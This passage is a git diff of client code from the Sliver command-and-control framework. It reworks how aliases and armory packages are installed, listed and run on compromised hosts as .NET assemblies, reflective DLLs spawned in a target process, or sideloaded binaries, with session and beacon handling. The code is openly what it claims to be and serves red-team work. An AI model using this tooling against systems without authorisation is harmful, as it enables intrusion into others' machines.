data, err := fs.ReadFile(clientAssetsFs, embedPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(localExtDir, localPath), data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
@@ -33,6 +33,8 @@ type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
@@ -55,6 +57,8 @@ func defaultSettings() *ClientSettings {
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -19,12 +19,17 @@ package alias
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
@@ -32,7 +37,7 @@ func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases loaded\n")
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,21 +48,37 @@ func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Help",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
for _, alias := range loadedAliases {
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
alias.Manifest.Name,
|
||||
alias.Manifest.CommandName,
|
||||
alias.Manifest.IsAssembly,
|
||||
alias.Manifest.IsReflective,
|
||||
alias.Manifest.Help,
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
@@ -73,3 +94,33 @@ func AliasCommandNameCompleter(prefix string, args []string, con *console.Sliver
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -111,7 +112,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
@@ -152,10 +153,13 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
|
||||
+130
-49
@@ -28,12 +28,15 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -63,12 +66,14 @@ type loadedAlias struct {
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
@@ -97,18 +102,22 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
var filePath string
|
||||
var err error
|
||||
for _, ef := range a.Files {
|
||||
if targetOS == ef.OS && targetArch == ef.Arch {
|
||||
filePath = ef.Path
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
return filePath, err
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
@@ -123,37 +132,39 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
dirPath, err = filepath.Abs(dirPath)
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
manifestPath := filepath.Join(dirPath, ManifestFileName)
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias, err := ParseAliasManifest(data)
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias.RootPath = filepath.Dir(manifestPath)
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(alias.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: alias.Name,
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
@@ -161,7 +172,7 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if alias.IsAssembly {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
@@ -181,14 +192,15 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[alias.Name] = &loadedAlias{
|
||||
Manifest: alias,
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
@@ -225,39 +237,49 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
alias := loadedAlias.Manifest
|
||||
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = alias.DefaultArgs
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := alias.Entrypoint
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = alias.getDefaultProcess(session.GetOS())
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
@@ -267,14 +289,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if alias.IsAssembly {
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -295,12 +320,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
|
||||
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
|
||||
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, executeAssemblyResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
} else if alias.IsReflective {
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -309,23 +346,33 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: alias.Entrypoint,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
|
||||
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawnDllResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -340,20 +387,54 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if sideloadResp.Response != nil && sideloadResp.Response.Async {
|
||||
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideloadResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
|
||||
@@ -35,6 +35,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
@@ -87,7 +88,10 @@ var (
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
@@ -102,7 +106,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
@@ -123,7 +127,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
@@ -193,14 +197,14 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, alias := range aliases {
|
||||
if strings.HasPrefix(alias.CommandName, prefix) {
|
||||
results = append(results, alias.CommandName)
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extension := range exts {
|
||||
if strings.HasPrefix(extension.CommandName, prefix) {
|
||||
results = append(results, extension.CommandName)
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
@@ -213,6 +217,37 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
@@ -221,13 +256,13 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, alias := range aliases {
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: alias.CommandName,
|
||||
Version: alias.Version,
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: alias.Help,
|
||||
URL: alias.RepoURL,
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
@@ -240,34 +275,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
@@ -284,9 +315,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
if len(bundle.Packages) < 1 {
|
||||
continue
|
||||
}
|
||||
packages := bundle.Packages[0]
|
||||
if 1 < len(packages) {
|
||||
packages += ", "
|
||||
}
|
||||
for index, pkgName := range bundle.Packages[1:] {
|
||||
if index%5 == 4 {
|
||||
packages += pkgName + "\n"
|
||||
} else {
|
||||
packages += pkgName
|
||||
if index != len(bundle.Packages)-2 {
|
||||
packages += ", "
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
packages,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
@@ -359,7 +407,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid URL scheme")
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -372,7 +420,9 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
armoryResult.LastErr = err
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
@@ -410,11 +460,11 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
